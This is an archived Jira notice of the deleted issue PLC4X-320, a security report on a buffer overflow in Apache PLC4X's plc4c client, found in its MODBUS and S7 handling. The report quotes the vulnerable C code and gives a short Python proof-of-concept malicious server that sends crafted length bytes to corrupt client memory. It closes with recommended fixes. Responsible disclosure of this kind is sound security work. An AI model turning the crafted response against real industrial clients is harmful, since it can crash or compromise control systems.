You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@plc4x.apache.org by "Christofer Dutz (Jira)" <ji...@apache.org> on 2021/10/28 17:25:00 UTC

[jira] [Deleted] (PLC4X-320) [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response

     [ https://issues.apache.org/jira/browse/PLC4X-320?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Christofer Dutz deleted PLC4X-320:
----------------------------------


> [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response
> -----------------------------------------------------------------------------------------------
>
>                 Key: PLC4X-320
>                 URL: https://issues.apache.org/jira/browse/PLC4X-320
>             Project: Apache PLC4X
>          Issue Type: Bug
>            Reporter: Eugene Lim
>            Priority: Major
>              Labels: security
>
> h2. Summary
> The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory. If the client connects to a malicious server, crafted server responses can remotely trigger this vulnerability.
> h2. Root Cause
> `plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.
> For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:
> {code:java}
> plc4c_return_code return_code = connection->transport->select_message(
>  connection->transport_configuration, 6,
>  plc4c_driver_modbus_select_message_function, &read_buffer);{code}
>  
>  
> This passes on the argument `min_size = 6` to:
> {code:java}
> plc4c_return_code plc4c_transport_tcp_select_message_function(
>  void* transport_configuration, uint8_t min_size,
>  accept_message_function accept_message, plc4c_spi_read_buffer** message) {
> plc4c_transport_tcp_config* tcp_config = transport_configuration;
> // First try to read the minimum number of bytes the driver needs to know
>  // how big a packet is.
>  uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
>  if(size_buffer == NULL)
> { return NO_MEMORY; }
>  int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
>  // TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
>  if(received_bytes < 0) { return CONNECTION_ERROR; }
>  
>  // Now that we have enough data to find out how many bytes we need, have
>  // the accept_message function find out how many
>  int16_t message_size = accept_message(size_buffer, min_size);
>  if(message_size < 0) { return INTERNAL_ERROR; }
>  uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
>  if(message_size < 0) { return NO_MEMORY; }
> // Copy the size_buffer to the start of the new buffer.
>  memcpy(message_buffer, size_buffer, min_size);
>  free(size_buffer);
> // Read the rest of the packet.
>  received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
>  if(received_bytes != message_size - min_size)
> { return CONNECTION_ERROR; }
> // Create a new read-buffer with the read message data.
>  plc4c_spi_read_buffer_create(message_buffer, message_size, message);
>  // TODO: leaks: message_buffer
>  return OK;
>  }
> {code}
>  
> For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:
> {code:java}
> int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
>  uint16_t buffer_length) {
>  // The length information is located in bytes 5 and 6
>  if (buffer_length >= 6)
> { uint16_t packet_length = ((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5)); packet_length += 6; return packet_length; }
> // In all other cases, we'll just have to wait for the next time.
>  return 0;
>  } 
> {code}
> In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.
> Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.
> h2. Proof of Concept
> To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:
> {code:java}
> import socket
>  from struct import pack, unpack
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>  s.bind(('localhost', 502))
>  s.listen()
> conn, addr = s.accept()
> with conn:
>  print('Connected by', addr)
> data = conn.recv(1024) 
>  print("Received: {}".format(data))
> conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)
> data = conn.recv(1024) 
>  print("Received: {}".format(data))
> input("Press Enter to close socket...")
>  conn.close()
> {code}
> Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.
> h2. Recommendations
> Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.
> h2. Credits
> Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!



--
This message was sent by Atlassian Jira
(v8.3.4#803005)